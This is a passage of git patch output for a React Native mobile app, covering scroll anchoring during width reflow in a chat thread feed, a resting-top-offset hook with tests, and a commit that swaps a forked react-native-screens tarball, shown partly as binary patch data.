setReflowFollowsEnd] = useState(false); + const [reflowSettleRevision, setReflowSettleRevision] = useState(0); + const listHeaderSizeRef = useRef(0); + const loadedListKeyRef = useRef(null); + const cancelReflow = () => { + if (reflowAnchorRef.current === undefined) return; + reflowAnchorRef.current = undefined; + setReflowFollowsEnd(false); + }; const [interactionState, setInteractionState] = useState<{ readonly copiedRowId: string | null; readonly expandedWorkGroups: Record; @@ -2419,6 +2442,7 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { const handleScrollBeginDrag = () => { clearUserScrollSettle(); userScrollSessionRef.current = true; + cancelReflow(); // Pause before the first scroll event. Otherwise a stream update can run // maintainScrollAtEnd between touch-down and the drag leaving its threshold. transitionEndFollow({ type: "user-scroll-begin" }); @@ -2461,22 +2485,17 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { useEffect(() => { clearUserScrollSettle(); userScrollSessionRef.current = false; + cancelReflow(); transitionEndFollow({ type: "reset" }); - }, [clearUserScrollSettle, feedThreadKey, transitionEndFollow]); + }, [cancelReflow, clearUserScrollSettle, feedThreadKey, transitionEndFollow]); useEffect(() => { if (props.submittedMessageId !== null) { clearUserScrollSettle(); userScrollSessionRef.current = false; + cancelReflow(); transitionEndFollow({ type: "reset" }); } - }, [clearUserScrollSettle, props.submittedMessageId, transitionEndFollow]); - - const handleViewportLayout = (event: LayoutChangeEvent) => { - const nextWidth = Math.round(event.nativeEvent.layout.width); - const nextHeight = Math.round(event.nativeEvent.layout.height); - setViewportWidth((current) => (Math.abs(current - nextWidth) > 1 ? nextWidth : current)); - setViewportHeight((current) => (Math.abs(current - nextHeight) > 1 ? nextHeight : current)); - }; + }, [cancelReflow, clearUserScrollSettle, props.submittedMessageId, transitionEndFollow]); useEffect(() => { reportHeaderMaterialVisibility(false); @@ -2498,6 +2517,54 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { } }, [listMountKey, props.contentInsetEndAdjustment, listRef]); + const reflowLayout = () => ({ + rowsTop: FEED_PADDING_TOP + listHeaderSizeRef.current, + headerInset: anchorTopInset, + }); + const beginReflow = () => { + // Until the list loads, its own initial end positioning owns the offset. + if (loadedListKeyRef.current !== listMountKey) return; + if (reflowAnchorRef.current === undefined) { + const listState = listRef.current?.getState(); + const anchor = + listState && !userScrollSessionRef.current + ? resolveThreadFeedReflowAnchor(listState, reflowLayout(), endFollowEnabledRef.current) + : null; + reflowAnchorRef.current = anchor; + if (anchor === "end") { + // The list may already have judged the first new sizes against its own threshold, so + // pin the end once; the lifted threshold keeps it there as later rows re-measure. + setReflowFollowsEnd(true); + void listRef.current?.scrollToEnd({ animated: false }); + } + } + setReflowSettleRevision((revision) => revision + 1); + }; + const settleReflow = useEffectEvent(() => { + const anchor = reflowAnchorRef.current; + cancelReflow(); + const list = listRef.current; + if (!anchor || anchor === "end" || !list || userScrollSessionRef.current) return; + if (loadedListKeyRef.current !== listMountKey) return; + const target = resolveThreadFeedReflowScroll(anchor, list.getState(), reflowLayout()); + if (target) void list.scrollToIndex({ ...target, viewPosition: 0, animated: false }); + }); + useEffect(() => { + if (reflowSettleRevision === 0) return; + const timeout = setTimeout(() => settleReflow(), FEED_REFLOW_SETTLE_MS); + return () => clearTimeout(timeout); + }, [reflowSettleRevision]); + + const handleViewportLayout = (event: LayoutChangeEvent) => { + const nextWidth = Math.round(event.nativeEvent.layout.width); + const nextHeight = Math.round(event.nativeEvent.layout.height); + // A native resize re-wraps the rows before JS hears of it. This event reaches JS ahead + // of the row measurements it caused, since layout events are sent parent first. + if (Math.abs(measuredViewportWidth - nextWidth) > 1) beginReflow(); + setViewportWidth((current) => (Math.abs(current - nextWidth) > 1 ? nextWidth : current)); + setViewportHeight((current) => (Math.abs(current - nextHeight) > 1 ? nextHeight : current)); + }; + const anchoredEndSpace = resolveChatListAnchoredEndSpace( presentedFeed, props.anchorMessageId, @@ -2580,6 +2647,7 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { }; const suspendEndScrollMaintenanceForDisclosure = (anchorKey: string | null) => { + cancelReflow(); disclosureAnchorKeyRef.current = anchorKey; setDisclosureToggleSettling(true); }; @@ -2724,16 +2792,10 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { useLayoutEffect(() => { if (previousContentWidth.current === contentWidth) return; previousContentWidth.current = contentWidth; + // Rows re-rendered at this width are measured in the next commit, after this effect. + beginReflow(); if (hasHtmlRenders) listRef.current?.clearCaches({ mode: "sizes" }); - // A reflow can grow the visible rows past LegendList's near-end threshold in one batch, and - // maintainScrollAtEnd then stops following. Pin the end the feed was following once the new - // sizes are in. - if (!endFollowEnabledRef.current || !listRef.current?.getState().isAtEnd) return; - const frame = requestAnimationFrame(() => { - if (endFollowEnabledRef.current) void listRef.current?.scrollToEnd({ animated: false }); - }); - return () => cancelAnimationFrame(frame); - }, [contentWidth, hasHtmlRenders, listRef]); + }, [beginReflow, contentWidth, hasHtmlRenders, listRef]); const renderItem = (info: { item: PendingThreadFeedEntry; index: number }) => ( { + loadedListKeyRef.current = listMountKey; + }} + // Row positions start below the header; the reflow anchor converts between them. + onMetricsChange={(metrics) => { + listHeaderSizeRef.current = metrics.headerSize; + }} onScroll={handleScroll} onScrollBeginDrag={handleScrollBeginDrag} onScrollEndDrag={handleScrollEndDrag} @@ -2950,7 +3022,7 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { ) : null } contentContainerStyle={{ - paddingTop: 12, + paddingTop: FEED_PADDING_TOP, paddingLeft: contentHorizontalPadding + contentLeftInset, paddingRight: contentHorizontalPadding + contentRightInset, }} diff --git a/apps/mobile/src/features/threads/thread-feed-live-follow.test.ts b/apps/mobile/src/features/threads/thread-feed-live-follow.test.ts index b8c067ca826a..83d634163f3d 100644 --- a/apps/mobile/src/features/threads/thread-feed-live-follow.test.ts +++ b/apps/mobile/src/features/threads/thread-feed-live-follow.test.ts @@ -2,6 +2,8 @@ import { describe, expect, it } from "vite-plus/test"; import { resolveThreadFeedLiveFollow, + resolveThreadFeedReflowAnchor, + resolveThreadFeedReflowScroll, resolveThreadFeedSubmissionAnchor, resolveThreadWorkGroupInitialScroll, shouldFollowThreadWorkGroupAppend, @@ -178,3 +180,88 @@ describe("resolveThreadFeedLiveFollow", () => { ).toBe(false); }); }); + +describe("width reflow anchors", () => { + const layout = { rowsTop: 50, headerInset: 100 }; + const feedState = ( + rows: ReadonlyArray<{ readonly id: string; readonly size: number }>, + scroll: number, + isWithinMaintainScrollAtEndThreshold = false, + ) => { + const positions = rows.map((_, index) => + rows.slice(0, index).reduce((top, row) => top + row.size, 0), + ); + return { + data: rows, + scroll, + isWithinMaintainScrollAtEndThreshold, + indexByKey: (key: string) => { + const index = rows.findIndex((row) => row.id === key); + return index < 0 ? undefined : index; + }, + positionAtIndex: (index: number) => positions[index], + sizes: new Map(rows.map((row) => [row.id, row.size])), + }; + }; + const wide = [ + { id: "question", size: 400 }, + { id: "reply", size: 2_000 }, + { id: "follow-up", size: 300 }, + ]; + // The line under the header sits 1,200px, 60%, into the reply. + const readingReply = feedState(wide, 1_550); + + it("keeps the end for a feed that is following it", () => { + expect(resolveThreadFeedReflowAnchor(feedState(wide, 1_550, true), layout, true)).toBe("end"); + }); + + it("keeps the reader's row after a status-bar scroll left follow on far from the end", () => { + expect(resolveThreadFeedReflowAnchor(readingReply, layout, true)).toEqual({ + key: "reply", + offsetWithinRow: 1_200, + size: 2_000, + }); + }); + + it.each([ + { change: "narrows", replySize: 4_000 }, + { change: "widens", replySize: 1_000 }, + ])("keeps the reader 60% into a reply when the feed $change", ({ replySize }) => { + const anchor = resolveThreadFeedReflowAnchor(readingReply, layout, false); + if (anchor === null || anchor === "end") throw new Error("expected a row anchor"); + const reflowed = feedState( + [ + { id: "question", size: 400 * (replySize / 2_000) }, + { id: "reply", size: replySize }, + { id: "follow-up", size: 300 }, + ], + readingReply.scroll, + ); + expect(resolveThreadFeedReflowScroll(anchor, reflowed, layout)).toEqual({ + index: 1, + viewOffset: layout.headerInset - 0.6 * replySize, + }); + }); + + it("leaves a reader at the top of the thread where they are", () => { + expect(resolveThreadFeedReflowAnchor(feedState(wide, -layout.headerInset), layout, false)).toBe( + null, + ); + }); + + it("does not scroll when the row did not change size", () => { + const anchor = resolveThreadFeedReflowAnchor(readingReply, layout, false); + if (anchor === null || anchor === "end") throw new Error("expected a row anchor"); + expect(resolveThreadFeedReflowScroll(anchor, readingReply, layout)).toBeNull(); + }); + + it("does not restore a row that left the feed", () => { + expect( + resolveThreadFeedReflowScroll( + { key: "reply", offsetWithinRow: 1_200, size: 2_000 }, + feedState([{ id: "question", size: 400 }], 0), + layout, + ), + ).toBeNull(); + }); +}); diff --git a/apps/mobile/src/features/threads/thread-feed-live-follow.ts b/apps/mobile/src/features/threads/thread-feed-live-follow.ts index 431dda7550d1..fba2cf4bda1b 100644 --- a/apps/mobile/src/features/threads/thread-feed-live-follow.ts +++ b/apps/mobile/src/features/threads/thread-feed-live-follow.ts @@ -1,3 +1,5 @@ +import { resolveWorkGroupScrollAnchor } from "@t3tools/client-runtime/work-log/scroll-anchor"; + export type ThreadFeedLiveFollowEvent = | { readonly type: "reset" } | { readonly type: "user-scroll-begin" } @@ -88,3 +90,69 @@ export function resolveThreadFeedLiveFollow( return current; } } + +/** The LegendList state a width reflow reads before rows re-measure and after they settle. */ +export interface ThreadFeedReflowListState { + readonly data: ReadonlyArray<{ readonly id: string }>; + readonly scroll: number; + readonly isWithinMaintainScrollAtEndThreshold: boolean; + readonly indexByKey: (key: string) => number | undefined; + readonly positionAtIndex: (index: number) => number | undefined; + readonly sizes: ReadonlyMap; +} + +export interface ThreadFeedReflowLayout { + /** List padding and header; row positions start below them. */ + readonly rowsTop: number; + /** The top of the viewport covered by the navigation header. */ + readonly headerInset: number; +} + +export interface ThreadFeedReflowRowAnchor { + readonly key: string; + readonly offsetWithinRow: number; + readonly size: number; +} + +/** A feed that follows keeps the end through a reflow; a reader keeps the row they are in. */ +export type ThreadFeedReflowAnchor = "end" | ThreadFeedReflowRowAnchor; + +function readingLine(state: ThreadFeedReflowListState, layout: ThreadFeedReflowLayout) { + return state.scroll + layout.headerInset - layout.rowsTop; +} + +export function resolveThreadFeedReflowAnchor( + state: ThreadFeedReflowListState, + layout: ThreadFeedReflowLayout, + following: boolean, +): ThreadFeedReflowAnchor | null { + // Follow alone is not enough: a status-bar tap scrolls to the top without a drag, so it + // leaves follow on while the reader is far from the end. + if (following && state.isWithinMaintainScrollAtEndThreshold) return "end"; + const line = readingLine(state, layout); + // A reader at the top of the thread stays there without help. + if (line <= 0) return null; + const row = resolveWorkGroupScrollAnchor({ + data: state.data, + scroll: line, + positionAtIndex: state.positionAtIndex, + }); + const size = row ? state.sizes.get(row.rowId) : undefined; + return row && size ? { key: row.rowId, offsetWithinRow: row.offsetWithinRow, size } : null; +} + +export function resolveThreadFeedReflowScroll( + anchor: ThreadFeedReflowRowAnchor, + state: ThreadFeedReflowListState, + layout: ThreadFeedReflowLayout, +): { readonly index: number; readonly viewOffset: number } | null { + const index = state.indexByKey(anchor.key); + const top = index === undefined ? undefined : state.positionAtIndex(index); + const size = state.sizes.get(anchor.key); + if (index === undefined || top === undefined || size === undefined) return null; + // Rewrapped text grows with its row, so the reader's line sits at the same share of the + // row rather than the same pixel offset into it. + const offsetWithinRow = (anchor.offsetWithinRow * size) / anchor.size; + if (Math.abs(readingLine(state, layout) - (top + offsetWithinRow)) < 1) return null; + return { index, viewOffset: layout.headerInset - offsetWithinRow }; +} diff --git a/apps/mobile/src/native/useRestingTopOffset.test.tsx b/apps/mobile/src/native/useRestingTopOffset.test.tsx new file mode 100644 index 000000000000..7be7e1d82c3b --- /dev/null +++ b/apps/mobile/src/native/useRestingTopOffset.test.tsx @@ -0,0 +1,73 @@ +import { act, useLayoutEffect } from "react"; +import { createRoot, type Root } from "react-dom/client"; +import { afterEach, describe, expect, it } from "vite-plus/test"; + +import { useRestingTopOffset } from "./useRestingTopOffset"; + +let root: Root | null = null; +let latest: ReturnType | null = null; + +function Probe(props: { readonly topInset: number; readonly restoredOffset?: number }) { + const restingOffset = useRestingTopOffset( + props.topInset, + props.restoredOffset === undefined ? {} : { contentOffset: { x: 0, y: props.restoredOffset } }, + ); + useLayoutEffect(() => { + latest = restingOffset; + }); + return null; +} + +function render(topInset: number, restoredOffset?: number) { + (globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true; + root ??= createRoot(document.createElement("div")); + act(() => root!.render()); +} + +function scrollTo(y: number) { + const event = { nativeEvent: { contentOffset: { x: 0, y } } } as Parameters< + ReturnType["onScroll"] + >[0]; + act(() => latest!.onScroll(event)); +} + +function offset() { + return latest!.contentOffset.y; +} + +afterEach(() => { + act(() => root?.unmount()); + root = null; + latest = null; +}); + +describe("useRestingTopOffset", () => { + it("keeps an untouched list below the header once the column's inset arrives", () => { + // The folded iPhone Duo's window has no top inset; the header's arrives after mount. + render(0); + render(54); + expect(offset()).toBe(-54); + }); + + it("does not move a list the reader scrolled when the inset changes", () => { + render(54); + scrollTo(300); + render(90); + expect(offset()).toBe(-54); + }); + + it("follows the inset again once the list is back at the top", () => { + render(54); + scrollTo(300); + render(90); + scrollTo(-90); + render(54); + expect(offset()).toBe(-54); + }); + + it("holds a restored position through an inset change", () => { + render(0, 1_200); + render(54); + expect(offset()).toBe(1_200); + }); +}); diff --git a/apps/mobile/src/native/useRestingTopOffset.ts b/apps/mobile/src/native/useRestingTopOffset.ts new file mode 100644 index 000000000000..33fc6bd09b47 --- /dev/null +++ b/apps/mobile/src/native/useRestingTopOffset.ts @@ -0,0 +1,29 @@ +import { useState } from "react"; +import type { NativeScrollEvent, NativeSyntheticEvent, ScrollViewProps } from "react-native"; + +/** + * A scroll view with a manual top inset rests at `-topInset`, just below the header. The inset + * can change after mount: a column's safe area starts as the window's until UIKit measures it, + * and rotation or folding changes it again. While the view rests below the header it follows the + * inset; once scrolled away it holds the last resting offset, because RN re-applies a changed + * `contentOffset` prop and would move the reader. + */ +export function holdRestingTopOffset(held: number | null, scrollY: number, topInset: number) { + return Math.abs(scrollY + topInset) <= 1 ? null : (held ?? -topInset); +} + +export function useRestingTopOffset( + topInset: number, + props: Pick, +) { + // A list restoring a saved position mounts away from its resting offset. + const [held, setHeld] = useState(props.contentOffset?.y ?? null); + return { + contentOffset: { x: 0, y: held ?? -topInset }, + onScroll: (event: NativeSyntheticEvent) => { + const scrollY = event.nativeEvent.contentOffset.y; + setHeld((current) => holdRestingTopOffset(current, scrollY, topInset)); + props.onScroll?.(event); + }, + }; +} diff --git a/apps/mobile/vite.config.ts b/apps/mobile/vite.config.ts index 3f66714c6881..640deb7f6bc2 100644 --- a/apps/mobile/vite.config.ts +++ b/apps/mobile/vite.config.ts @@ -6,6 +6,7 @@ const reactTests = [ "src/features/settings/SettingsServerControlsRouteScreen.test.tsx", "src/features/settings/components/BranchNamingSettings.test.tsx", "src/native/NativeHeaderToolbar.test.tsx", + "src/native/useRestingTopOffset.test.tsx", "src/state/use-selected-thread-git-actions.test.tsx", ]; From 61bdec0c9955f42b25a8f4150fc0ddc1ae9a3030 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 17:58:49 -0700 Subject: [PATCH 091/130] fix(mobile): deliver the first tab selection after Duo folding (#22979) Co-authored-by: Claude Opus 5.5 --- .../deps/react-native-screens-5.0.0-t3.30.tgz | Bin 783832 -> 0 bytes .../deps/react-native-screens-5.0.0-t3.31.tgz | Bin 0 -> 784833 bytes apps/mobile/package.json | 2 +- docs/operations/mobile-screens-fork.md | 2 +- patches/react-native-reanimated@4.7.1.patch | 15 +++++++++ pnpm-lock.yaml | 29 +++++++++--------- pnpm-workspace.yaml | 3 ++ 7 files changed, 35 insertions(+), 16 deletions(-) delete mode 100644 apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz create mode 100644 apps/mobile/deps/react-native-screens-5.0.0-t3.31.tgz create mode 100644 patches/react-native-reanimated@4.7.1.patch diff --git a/apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz b/apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz deleted file mode 100644 index 581307cf91be12996b9f6b8a97008ae95be8ad0a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 783832 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 